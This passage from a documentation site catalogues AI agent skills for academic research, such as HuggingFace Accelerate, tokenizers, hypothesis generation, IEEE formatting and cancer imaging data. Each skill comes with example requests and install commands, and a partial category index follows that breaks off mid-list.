a better setup in the HF ecosystem, and is there a methodology write-up I should cite?"* * *"I want to design a protein binder against a target I have a PDB file for, but I don't have a big GPU. What are my options?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill hugging-science # GitHub CLI gh skill install KalarisLabs/research-agent-skills hugging-science ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `data-science-and-ml` category with `/plugin install data-science-and-ml@research-agent-skills`. ## Related * [`brainstorming-research-ideas`](/research-agent-skills/skills/brainstorming-research-ideas) * [`science-aaas`](/research-agent-skills/skills/science-aaas) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/hugging-science/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # huggingface-accelerate — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/huggingface-accelerate Wraps existing PyTorch training scripts with HuggingFace Accelerate (Accelerator class, accelerate config, accelerate launch) so the same code runs on CPU… # `huggingface-accelerate` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Distributed Training, HuggingFace, Accelerate, DeepSpeed, FSDP, Mixed Precision, PyTorch, DDP, Unified API, Simple ## When to use it Wraps existing PyTorch training scripts with HuggingFace Accelerate (Accelerator class, accelerate config, accelerate launch) so the same code runs on CPU, single GPU, multi-GPU, multi-node, TPU, or Apple MPS. Covers device placement, FP16/BF16/FP8 mixed precision, gradient accumulation, distributed checkpointing, and switching between DDP, DeepSpeed ZeRO, FSDP, and Megatron backends. Use when converting a single-GPU script to multi-GPU, enabling mixed precision, configuring DeepSpeed ZeRO or FSDP, or setting up gradient accumulation. Use when one script must run on different hardware. Not for callback-heavy training loops (use PyTorch Lightning) or multi-node orchestration with hyperparameter tuning (use Ray Train). ## Example requests Ask your agent in plain language, for example: * *"How do I make my train.py run on 4 GPUs without rewriting it?"* * *"I have a ResNet-50 fine-tuning script, finetune\_cifar.py, with a plain loop: model.cuda(), loss.backward(), and a DataLoader with batch\_size=64. Moving it to 2 A100s gives me 'RuntimeError: Expected all tensors to be on the same device' after I started using DDP. I also want bf16 and an effective batch size of 256. Can you fix it?"* * *"My 7B model doesn't fit in memory on a single 24GB card, and I want the same training code to also run on my colleague's MacBook for debugging. What's the most painless way to set this up so I don't maintain two scripts?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill huggingface-accelerate # GitHub CLI gh skill install KalarisLabs/research-agent-skills huggingface-accelerate ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`deepspeed`](/research-agent-skills/skills/deepspeed) * [`pytorch-lightning`](/research-agent-skills/skills/pytorch-lightning) * [`pytorch-lightning-distributed`](/research-agent-skills/skills/pytorch-lightning-distributed) * [`nanogpt`](/research-agent-skills/skills/nanogpt) * [`pytorch-fsdp2`](/research-agent-skills/skills/pytorch-fsdp2) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/huggingface-accelerate/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # huggingface-tokenizers — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/huggingface-tokenizers Provides the HuggingFace Tokenizers library (Rust core with Python and Node.js bindings) for training and using BPE, WordPiece, and Unigram tokenizers. # `huggingface-tokenizers` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Tokenization, HuggingFace, BPE, WordPiece, Unigram, Fast Tokenization, Rust, Custom Tokenizer, Alignment Tracking, Production ## When to use it Provides the HuggingFace Tokenizers library (Rust core with Python and Node.js bindings) for training and using BPE, WordPiece, and Unigram tokenizers. Covers the pipeline of normalizers, pre-tokenizers, models, post-processors and decoders, padding and truncation, batch encoding, alignment tracking, and conversion to transformers PreTrainedTokenizerFast. Use when training a custom tokenizer or vocabulary on a new corpus, tokenizing large text corpora quickly, mapping tokens back to character offsets for NER or question answering, or configuring normalization and special tokens. Use when wrapping a custom tokenizer for transformers. For SentencePiece models or tiktoken, use those tools instead; for loading a pretrained tokenizer only, AutoTokenizer is enough. ## Example requests Ask your agent in plain language, for example: * *"How do I train a BPE tokenizer on my own text files?"* * *"I'm fine-tuning a token classification model for biomedical NER on \~/data/pubmed\_abstracts.jsonl (about 4 GB). My labels are character spans, and after tokenizing with a custom tokenizer I can't line them up with the tokens. How do I get each token's start/end character positions and assign labels, including handling truncation at 512 tokens with overflowing sequences?"* * *"I have a corpus of Python source code and legal contracts, and I need a vocabulary of about 32k subword units tailored to it, then I want to plug it into a Hugging Face model using the standard from\_pretrained workflow and Trainer. What's the best way to build that?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill huggingface-tokenizers # GitHub CLI gh skill install KalarisLabs/research-agent-skills huggingface-tokenizers ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`sentencepiece`](/research-agent-skills/skills/sentencepiece) * [`transformers`](/research-agent-skills/skills/transformers) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/huggingface-tokenizers/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # hypogenic — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/hypogenic Plans and audits use of ChicagoHAI HypoGeniC/HypoRefine for LLM-assisted hypothesis generation from labeled text datasets. # `hypogenic` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 1.2 · **Includes scripts** **Tags:** hypothesis generation, LLM, text datasets, research automation ## When to use it Plans and audits use of ChicagoHAI HypoGeniC/HypoRefine for LLM-assisted hypothesis generation from labeled text datasets. Use for the `hypogenic` package, its task configs, hypothesis banks, or HypoBench datasets—not for manual hypothesis formulation or scientific validation. ## Example requests Ask your agent in plain language, for example: * *"I want to try hypogenic on my review-classification data. Where do I start?"* * *"I've got a hypogenic task config at configs/deceptive\_reviews.yaml and the HypoBench deceptive-review train/val/test JSONs. Before I spend anything on OpenAI, can you check the splits for leakage and estimate the worst-case cost for 20 iterations with gpt-4o-mini?"* * *"I have a few thousand labeled tweets about whether people are sarcastic. I'd like an LLM to automatically propose textual patterns that predict the label, keep the ones that score well on held-out data, and then give me the ranked list as JSON. Is there an existing open-source tool for that, and how do I run it reproducibly?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill hypogenic # GitHub CLI gh skill install KalarisLabs/research-agent-skills hypogenic ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/hypogenic/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # hypothesis-generation — AI agent skill for ideation and design Source: https://docs.kalarislabs.com/research-agent-skills/skills/hypothesis-generation Formulate evidence-bounded scientific questions, candidate hypotheses, rival explanations, causal or associational claims, discriminating predictions… # `hypothesis-generation` **Category:** [ideation-and-design](/research-agent-skills/skills#ideation-and-design) · **License:** MIT · **Version:** 2.2 · **Includes scripts** **Tags:** hypothesis generation, research questions, preregistration, study design, scientific method ## When to use it Formulate evidence-bounded scientific questions, candidate hypotheses, rival explanations, causal or associational claims, discriminating predictions, measurements, and preregistration-ready analysis plans. Use when turning observations or preliminary findings into transparent, testable research plans without treating hypotheses as facts. ## Example requests Ask your agent in plain language, for example: * *"My knockout mice gain less weight on high-fat diet than wild-type. What could explain that and how would I test it?"* * *"I have a cohort file, ehr\_statin\_dementia\_v3.csv (n≈48k, de-identified, from our hospital). Statin users show lower dementia incidence over 8 years. I want to write a preregistration for a follow-up paper at an epidemiology journal. Can you help me turn this into a testable plan?"* * *"We saw a surprising dip in soil microbial diversity after the wildfire at our three field sites, and I'm not sure what to make of it or what to measure next. Help me think through what's going on and design a sensible next study."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill hypothesis-generation # GitHub CLI gh skill install KalarisLabs/research-agent-skills hypothesis-generation ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ideation-and-design` category with `/plugin install ideation-and-design@research-agent-skills`. ## Related * [`arbor`](/research-agent-skills/skills/arbor) * [`pyvene-interventions`](/research-agent-skills/skills/pyvene-interventions) * [`scientific-brainstorming`](/research-agent-skills/skills/scientific-brainstorming) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/hypothesis-generation/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # ieee-transactions — AI agent skill for journal formats Source: https://docs.kalarislabs.com/research-agent-skills/skills/ieee-transactions Format and submit papers to IEEE journals (Transactions, Journals, Letters, IEEE Access) and IEEE conferences using the IEEEtran LaTeX class or Word… # `ieee-transactions` **Category:** [journal-formats](/research-agent-skills/skills#journal-formats) · **License:** MIT · **Version:** 1.0 **Tags:** IEEE, IEEEtran, IEEE Transactions, IEEE Access, LaTeX, conference, journal formatting ## When to use it Format and submit papers to IEEE journals (Transactions, Journals, Letters, IEEE Access) and IEEE conferences using the IEEEtran LaTeX class or Word templates, covering journal vs conference modes, abstracts and index terms, numbered IEEE reference style, figures and equations, author biographies, page limits and overlength charges, IEEE PDF eXpress, copyright forms, double-blind options and ScholarOne/IEEE Author Portal submission. Use when writing for any IEEE venue, fixing IEEEtran layout issues, or checking IEEE submission compliance. ## Example requests Ask your agent in plain language, for example: * *"Format my paper with IEEEtran for IEEE Transactions on Neural Networks and add index terms."* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill ieee-transactions # GitHub CLI gh skill install KalarisLabs/research-agent-skills ieee-transactions ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `journal-formats` category with `/plugin install journal-formats@research-agent-skills`. ## Related * [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) * [`citation-verification`](/research-agent-skills/skills/citation-verification) * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) * [`scientific-visualization`](/research-agent-skills/skills/scientific-visualization) * [`venue-templates`](/research-agent-skills/skills/venue-templates) * [Write a research paper with AI](/research-agent-skills/guides/write-a-research-paper) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/ieee-transactions/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # imaging-data-commons — AI agent skill for scientific databases Source: https://docs.kalarislabs.com/research-agent-skills/skills/imaging-data-commons Query and download public cancer imaging data from NCI Imaging Data Commons. # `imaging-data-commons` **Category:** [scientific-databases](/research-agent-skills/skills#scientific-databases) · **License:** This skill is provided under the MIT License. IDC data itself has individual licensing (mostly CC-BY, some CC-NC) that must be respected when using the data. · **Version:** 1.5 · **Includes scripts** **Tags:** cancer imaging, DICOM, radiology, pathology, public datasets, medical imaging ## When to use it Query and download public cancer imaging data from NCI Imaging Data Commons. Invoke for any question about IDC collections, cancer imaging datasets, DICOM data access, radiology (CT, MR, PET) or pathology AI training sets, metadata queries, visualization, or license checks — even when the user doesn't explicitly mention "IDC". No authentication required. ## Example requests Ask your agent in plain language, for example: * *"what TCIA-style lung CT collections are available in IDC with segmentations?"* * *"I'm building a nodule detection model and need to pull all chest CT series from the nlst collection into ./data/nlst for training. Only keep series with slice thickness \<= 2.5 mm. I'd also like a total size estimate before I start, and I'm worried about disk space on my 500 GB drive. How should I do this?"* * *"My lab wants to train a pathology foundation model on whole-slide images of breast and colon tumors from open sources, and we may eventually use it in a commercial product. Where can we get suitable public slide data and what should we check first?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill imaging-data-commons # GitHub CLI gh skill install KalarisLabs/research-agent-skills imaging-data-commons ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `scientific-databases` category with `/plugin install scientific-databases@research-agent-skills`. ## Related * [`depmap`](/research-agent-skills/skills/depmap) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/imaging-data-commons/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # implementing-llms-litgpt — AI agent skill for ml training Source: https://docs.kalarislabs.com/research-agent-skills/skills/implementing-llms-litgpt Implements and trains LLMs using Lightning AI's LitGPT with 20+ pretrained architectures (Llama, Gemma, Phi, Qwen, Mistral). # `implementing-llms-litgpt` **Category:** [ml-training](/research-agent-skills/skills#ml-training) · **License:** MIT · **Version:** 1.0.0 **Tags:** Model Architecture, LitGPT, Lightning AI, LLM Implementation, LoRA, QLoRA, Fine-Tuning, Llama, Gemma, Phi, Mistral, Educational ## When to use it Implements and trains LLMs using Lightning AI's LitGPT with 20+ pretrained architectures (Llama, Gemma, Phi, Qwen, Mistral). Use when need clean model implementations, educational understanding of architectures, or production fine-tuning with LoRA/QLoRA. Single-file implementations, no abstraction layers. ## Example requests Ask your agent in plain language, for example: * *"How do I LoRA fine-tune Phi-2 with litgpt on a 16GB GPU?"* * *"I have 8k instruction/response pairs in data/lab\_protocols.json in Alpaca format. I want to fine-tune Llama 3 1B using litgpt, but I get CUDA out of memory on my 12GB RTX 3060 when I run full finetuning. What should I change?"* * *"I want to read the actual code of a Llama-style transformer, then train a small 1B model from scratch on my own tokenized domain corpus across 4 GPUs. I want clean single-file implementations, not a framework with many abstraction layers. What do you suggest, and how would I set it up?"* ## Install ```bash theme={"system"} # skills.sh (Claude Code, Codex, Cursor, Gemini CLI, Copilot and more) npx skills add KalarisLabs/research-agent-skills --skill implementing-llms-litgpt # GitHub CLI gh skill install KalarisLabs/research-agent-skills implementing-llms-litgpt ``` In Claude Code you can also add the marketplace with `/plugin marketplace add KalarisLabs/research-agent-skills` and install the whole `ml-training` category with `/plugin install ml-training@research-agent-skills`. ## Related * [`peft-fine-tuning`](/research-agent-skills/skills/peft-fine-tuning) * [Skills for machine learning research](/research-agent-skills/fields/machine-learning) ## Full playbook Read [SKILL.md](https://github.com/KalarisLabs/research-agent-skills/blob/main/skills/implementing-llms-litgpt/SKILL.md) for the complete workflow, references and any scripts. The agent installer copies the full skill folder. # Research Agent Skills for Academia | Kalaris Labs Source: https://docs.kalarislabs.com/research-agent-skills/skills/index Browse 281 AI agent skills for academic writing and scientific research across AI, machine learning, biology, chemistry, medicine and physics. # 281 research agent skills for academia Install one skill with `npx skills add KalarisLabs/research-agent-skills --skill `, or [choose from the full collection](/research-agent-skills/getting-started/installation). ## research-writing Scientific and research paper writing, grants, peer review, critical appraisal. * [`abstract-and-title`](/research-agent-skills/skills/abstract-and-title) — Write and sharpen research paper titles, abstracts (structured and unstructured), keywords, highlights, significance statements, graphical-abstract text and la… * [`cover-letter-to-editor`](/research-agent-skills/skills/cover-letter-to-editor) — Write journal submission cover letters, presubmission inquiries, transfer requests, and reviewer suggestion or exclusion lists that help a manuscript get past… * [`dhdna-profiler`](/research-agent-skills/skills/dhdna-profiler) — Extract cognitive patterns and thinking fingerprints from any text. * [`markdown-mermaid-writing`](/research-agent-skills/skills/markdown-mermaid-writing) — Writes scientific documents and documentation as markdown with embedded Mermaid diagrams as the canonical, git-diffable source format. * [`market-research-reports`](/research-agent-skills/skills/market-research-reports) — Build evidence-traceable market research reports and assumption-driven market sizing or forecast scenarios. * [`ml-paper-writing`](/research-agent-skills/skills/ml-paper-writing) — Write publication-ready ML/AI papers for NeurIPS, ICML, ICLR, ACL, AAAI, COLM. * [`peer-review`](/research-agent-skills/skills/peer-review) — Prepare evidence-bounded, constructive peer-review drafts and structured manuscript assessments. * [`rebuttal-and-response-to-reviewers`](/research-agent-skills/skills/rebuttal-and-response-to-reviewers) — Plan and write responses to peer review, including journal "response to reviewers" letters for revise-and-resubmit, conference rebuttals under strict length li… * [`reproducibility-statement`](/research-agent-skills/skills/reproducibility-statement) — Prepare the reproducibility, transparency and open-science parts of a paper, including data and code availability statements, reproducibility checklists (NeurI… * [`research-grants`](/research-agent-skills/skills/research-grants) — Guides writing of competitive research grant proposals for NSF, NIH, DOE, DARPA, and Taiwan NSTC. * [`scholar-evaluation`](/research-agent-skills/skills/scholar-evaluation) — Provide qualitative-first, evidence-traceable developmental review of scholarly works and audit low-stakes research-assessment rubrics with optional local qual… * [`scientific-critical-thinking`](/research-agent-skills/skills/scientific-critical-thinking) — Evaluate scientific claims and evidence quality. * [`scientific-writing`](/research-agent-skills/skills/scientific-writing) — Draft, revise, and audit scientific manuscripts or reports with explicit evidence provenance, reporting-guideline coverage, authorship accountability, confiden… * [`systems-paper-writing`](/research-agent-skills/skills/systems-paper-writing) — Provides paragraph-level structural blueprints for 10-12 page systems papers targeting OSDI, SOSP, ASPLOS, NSDI, and EuroSys. * [`unslop-academic-writing`](/research-agent-skills/skills/unslop-academic-writing) — Remove AI slop from research writing so papers, theses, grant proposals, reviews and rebuttals read as written by a careful human expert. ## journal-formats Journal, conference and venue formatting: LaTeX templates, submission checklists. * [`acm-sigconf`](/research-agent-skills/skills/acm-sigconf) — Format ACM conference papers and journal articles with the acmart LaTeX class (sigconf, sigplan, acmsmall, acmlarge, acmtog, manuscript/review/anonymous modes)… * [`apa7`](/research-agent-skills/skills/apa7) — Format papers, theses and references in APA Style 7th edition for psychology, education, social sciences, nursing and business, covering student vs professiona… * [`arxiv-submission`](/research-agent-skills/skills/arxiv-submission) — Prepare and post preprints to arXiv without processing failures or leaks, covering TeX source packaging (.bbl, figures, case-sensitive paths), stripping privat… * [`cell-press`](/research-agent-skills/skills/cell-press) — Prepare manuscripts for Cell Press journals (Cell, Molecular Cell, Neuron, Immunity, Cell Reports, Cell Systems, iScience, Cell Metabolism, Current Biology and… * [`elsevier-cas`](/research-agent-skills/skills/elsevier-cas) — Prepare submissions to Elsevier journals (including The Lancet family style notes, Cell-independent Elsevier titles, and thousands of society journals) using t… * [`ieee-transactions`](/research-agent-skills/skills/ieee-transactions) — Format and submit papers to IEEE journals (Transactions, Journals, Letters, IEEE Access) and IEEE conferences using the IEEEtran LaTeX class or Word templates,… * [`nature-portfolio`](/research-agent-skills/skills/nature-portfolio) — Prepare manuscripts for Nature and Nature Portfolio journals (Nature, Nature Communications, Nature Methods, Nature Biotechnology, Scientific Reports and other… * [`plos`](/research-agent-skills/skills/plos) — Prepare manuscripts for PLOS journals (PLOS ONE, PLOS Biology, PLOS Computational Biology, PLOS Genetics, PLOS Medicine, PLOS Pathogens, PLOS Neglected Tropica… * [`science-aaas`](/research-agent-skills/skills/science-aaas) — Prepare manuscripts for Science and the Science family of journals (Science, Science Advances, Science Translational Medicine, Science Robotics, Science Immuno… * [`springer-lncs`](/research-agent-skills/skills/springer-lncs) — Format papers for Springer Lecture Notes in Computer Science (LNCS) and related proceedings series (LNAI, LNBI, CCIS) and Springer Nature journals using the ll… * [`venue-templates`](/research-agent-skills/skills/venue-templates) — Prepare journal manuscripts, conference papers, research posters, and grant documents using venue-specific formatting guidance and bundled LaTeX scaffolds. ## literature-review Literature search, systematic reviews, citation management and reference managers. * [`bgpt-paper-search`](/research-agent-skills/skills/bgpt-paper-search) — Search scientific papers and retrieve structured experimental data extracted from full-text studies via the BGPT MCP server. * [`bibtex-hygiene`](/research-agent-skills/skills/bibtex-hygiene) — Clean, deduplicate and validate BibTeX/BibLaTeX bibliographies before submission. * [`citation-management`](/research-agent-skills/skills/citation-management) — Searches OpenAlex, PubMed, and Google Scholar, extracts metadata from DOIs, PMIDs, PMCIDs, arXiv IDs, and URLs via CrossRef, PubMed, and arXiv, then formats, d… * [`citation-verification`](/research-agent-skills/skills/citation-verification) — Verify that every reference in a manuscript really exists and matches its metadata, catching hallucinated, corrupted or mismatched citations before submission. * [`exa-search`](/research-agent-skills/skills/exa-search) — Web toolkit powered by Exa, tuned for scientific and technical content. * [`firecrawl-research-index`](/research-agent-skills/skills/firecrawl-research-index) — Query Firecrawl Research Index paper endpoints for topic discovery, source metadata, question-matched passages, and citation-neighbor expansion. * [`liteparse`](/research-agent-skills/skills/liteparse) — Local document and PDF parsing that returns spatial text with bounding boxes. * [`literature-review`](/research-agent-skills/skills/literature-review) — Runs systematic literature reviews by searching PubMed, arXiv, bioRxiv, and Semantic Scholar (plus web search via parallel-cli), screening studies, extracting… * [`markitdown`](/research-agent-skills/skills/markitdown) — Converts documents to Markdown with Microsoft MarkItDown (Python API, markitdown CLI, markitdown-ocr plugin, markitdown-mcp server), covering PDF, Word, PowerP… * [`open-notebook`](/research-agent-skills/skills/open-notebook) — Self-hosted, open-source alternative to Google NotebookLM for AI-powered research and document analysis. * [`paper-lookup`](/research-agent-skills/skills/paper-lookup) — Search 18 scholarly APIs for papers, preprints, citations, open-access full text, repository records, and journal OA status, and return results with reproducib… * [`paperclip`](/research-agent-skills/skills/paperclip) — Search and read full-text biomedical papers, FDA/PMDA/EMA regulatory documents, clinical trial registries, and UniProt/PDB/ChEMBL entries with the Paperclip CL… * [`paperzilla`](/research-agent-skills/skills/paperzilla) — Chat with your agent about projects, recommendations, and canonical papers in Paperzilla. * [`parallel-web`](/research-agent-skills/skills/parallel-web) — Runs the parallel-cli tool for web workflows: web search, URL and PDF extraction, deep research reports, structured data enrichment of supplied rows, FindAll e… * [`pyzotero`](/research-agent-skills/skills/pyzotero) — Reads and writes Zotero libraries from Python with pyzotero 1.13.0 and the Zotero Web API v3: items, collections, tags, attachments, saved searches, full-text… * [`reference-manager-interop`](/research-agent-skills/skills/reference-manager-interop) — Move and sync reference libraries between Zotero, Mendeley, EndNote, JabRef, Paperpile and writing tools (LaTeX/BibTeX, Word, Google Docs, Pandoc, Quarto, Over… * [`research-lookup`](/research-agent-skills/skills/research-lookup) — Compile current scholarly evidence for a scientific manuscript or research brief. * [`systematic-review-prisma`](/research-agent-skills/skills/systematic-review-prisma) — Plan, run and report systematic reviews and meta-analyses to PRISMA 2020 standards. ## ideation-and-design Hypothesis generation, experimental design, statistics planning, validation. * [`analytical-method-validation`](/research-agent-skills/skills/analytical-method-validation) — Plans and evaluates analytical method validation, verification, and transfer using Python scripts (plan\_validation, check\_response, check\_accuracy\_precision, c… * [`brainstorming-research-ideas`](/research-agent-skills/skills/brainstorming-research-ideas) — Guides researchers through structured ideation frameworks to discover high-impact research directions. * [`consciousness-council`](/research-agent-skills/skills/consciousness-council) — Run a multi-perspective Mind Council deliberation on any question, decision, or creative challenge. * [`creative-thinking-for-research`](/research-agent-skills/skills/creative-thinking-for-research) — Applies cognitive science frameworks for creative thinking to CS and AI research ideation. * [`experimental-design`](/research-agent-skills/skills/experimental-design) — Design experiments and studies BEFORE data is collected — choosing a design, randomizing, blocking, and laying out treatment combinations so results are interp… * [`hypogenic`](/research-agent-skills/skills/hypogenic) — Plans and audits use of ChicagoHAI HypoGeniC/HypoRefine for LLM-assisted hypothesis generation from labeled text datasets. * [`hypothesis-generation`](/research-agent-skills/skills/hypothesis-generation) — Formulate evidence-bounded scientific questions, candidate hypotheses, rival explanations, causal or associational claims, discriminating predictions, measurem… * [`iso-standards-readiness`](/research-agent-skills/skills/iso-standards-readiness) — Prepares and structurally reviews readiness evidence for ISO management-system and laboratory-competence standards - ISO 13485 medical device QMS, ISO 14971 de… * [`relsa-severity-assessment`](/research-agent-skills/skills/relsa-severity-assessment) — Multivariate severity assessment and humane endpoint prediction for laboratory animal studies using the RELSA (RELative Severity Assessment) score and ARIMA-ba… * [`scientific-brainstorming`](/research-agent-skills/skills/scientific-brainstorming) — Facilitates evidence-aware scientific ideation with independent generation, structured discussion, explicit assumptions, transparent evaluation, adversarial re… * [`statistical-power`](/research-agent-skills/skills/statistical-power) — Sample-size and statistical power calculations for planning studies. * [`uncertainty-and-units`](/research-agent-skills/skills/uncertainty-and-units) — Track physical units and propagate measurement uncertainty in scientific calculations using pint and uncertainties. ## data-science-and-ml Data analysis, statistics and machine learning libraries. * [`aeon`](/research-agent-skills/skills/aeon) — This skill should be used for time series machine learning tasks including classification, regression, clustering, forecasting, anomaly detection, segmentation… * [`dask`](/research-agent-skills/skills/dask) — Distributed computing for larger-than-RAM pandas/NumPy workflows. * [`datalad`](/research-agent-skills/skills/datalad) — Retrieve, version, and publish scientific datasets with DataLad and git-annex, and capture computational provenance with datalad run, rerun, and containers-run. * [`exploratory-data-analysis`](/research-agent-skills/skills/exploratory-data-analysis) — Perform bounded, local exploratory analysis of explicitly supported scientific files. * [`get-available-resources`](/research-agent-skills/skills/get-available-resources) — Detect host inventory and effective CPU, memory, disk, scheduler, container, and accelerator limits when a user asks for resource-aware planning or before a cl… * [`hugging-science`](/research-agent-skills/skills/hugging-science) — Use when the user is doing AI/ML work in a scientific domain such as biology, chemistry, physics, astronomy, climate, genomics, materials, medicine, ecology, e… * [`lamindb`](/research-agent-skills/skills/lamindb) — Use when working with LaminDB, the open-source lineage-native lakehouse for biological datasets and models. * [`matlab`](/research-agent-skills/skills/matlab) — Designs, reviews, and migrates MATLAB R2026a and GNU Octave numerical code, covering functions with arguments blocks, arrays and indexing, tables and timetable… * [`modal`](/research-agent-skills/skills/modal) — Modal is a serverless cloud platform for running Python on demand, including on-demand GPUs. * [`networkx`](/research-agent-skills/skills/networkx) — Create, analyze, and visualize complex networks and graphs in Python with NetworkX. * [`optimize-for-gpu`](/research-agent-skills/skills/optimize-for-gpu) — GPU-accelerates scientific Python on NVIDIA hardware and verifies that the result is correct and faster. * [`polars`](/research-agent-skills/skills/polars) — High-performance DataFrame library for Python ETL, analytics, and pandas migration. * [`pufferlib`](/research-agent-skills/skills/pufferlib) — Version-aware guidance for PufferLib reinforcement-learning environments, vectorization, policies, PuffeRL training, evaluation, and safe checkpoint review. * [`pymc`](/research-agent-skills/skills/pymc) — Builds, fits, checks, and compares Bayesian models in Python with PyMC and ArviZ. * [`pymoo`](/research-agent-skills/skills/pymoo) — Solves single- and multi-objective optimization problems in Python with pymoo, using NSGA-II, NSGA-III, MOEA/D, SPEA2, RVEA, GA, DE and PSO. * [`pytorch-lightning`](/research-agent-skills/skills/pytorch-lightning) — Organizes PyTorch training code with the lightning package (PyTorch Lightning): LightningModule, LightningDataModule, Trainer, callbacks such as ModelCheckpoin… * [`scikit-learn`](/research-agent-skills/skills/scikit-learn) — Covers classical machine learning in Python with scikit-learn (sklearn): classification and regression estimators, clustering and dimensionality reduction, pre… * [`scikit-survival`](/research-agent-skills/skills/scikit-survival) — Builds, evaluates, and audits right-censored survival analysis workflows with scikit-survival (sksurv): Cox PH, Coxnet, IPC ridge, survival trees, forests, boo… * [`shap`](/research-agent-skills/skills/shap) — Explain and audit machine-learning predictions with SHAP. * [`simpy`](/research-agent-skills/skills/simpy) — Builds, tests, and analyzes bounded process-based discrete-event simulations in Python with SimPy 4.1.2: Environment, Timeout, Process, AnyOf/AllOf conditions,… * [`stable-baselines3`](/research-agent-skills/skills/stable-baselines3) — Production-ready reinforcement learning algorithms (PPO, SAC, DQN, TD3, DDPG, A2C) with scikit-learn-like API. * [`statistical-analysis`](/research-agent-skills/skills/statistical-analysis) — Guided statistical analysis for research data - test selection, assumption checking, effect sizes, power analysis, Bayesian alternatives, and APA-formatted rep… * [`statsmodels`](/research-agent-skills/skills/statsmodels) — Statistical models library for Python. * [`sympy`](/research-agent-skills/skills/sympy) — Use when you need exact symbolic math in Python — algebra, calculus, equation solving, symbolic linear algebra, or code generation via lambdify/LaTeX. * [`timesfm-forecasting`](/research-agent-skills/skills/timesfm-forecasting) — Zero-shot time series forecasting with Google's TimesFM foundation model. * [`torch-geometric`](/research-agent-skills/skills/torch-geometric) — PyTorch Geometric (PyG) for graph neural networks — node/link/graph classification, message passing (GCN, GAT, GraphSAGE, GIN), heterogeneous graphs, neighbor… * [`transformers`](/research-agent-skills/skills/transformers) — Hugging Face Transformers for loading Hub models, running pipeline inference, text generation, and Trainer fine-tuning on NLP, vision, audio, and multimodal ta… * [`umap-learn`](/research-agent-skills/skills/umap-learn) — Reduces and embeds high-dimensional data with umap-learn (UMAP) in Python, including 2D/3D visualization, supervised and semi-supervised UMAP, DensMAP, Aligned… * [`vaex`](/research-agent-skills/skills/vaex) — Processes and analyzes tabular datasets too large for RAM using Vaex, a Python library for lazy, out-of-core DataFrames over memory-mapped HDF5 and Arrow files… * [`zarr-python`](/research-agent-skills/skills/zarr-python) — Guides use of Zarr-Python 3 for storing chunked, compressed N-dimensional arrays and groups, with local, in-memory, ZIP, and fsspec-backed S3/GCS/HTTP stores,… ## visualization-and-presentation Figures, schematics, posters, slides and talks. * [`academic-plotting`](/research-agent-skills/skills/academic-plotting) — Generates publication-quality figures for ML papers from research context. * [`generate-image`](/research-agent-skills/skills/generate-image) — Generate or edit images with AI models through the OpenRouter Image API (Gemini, 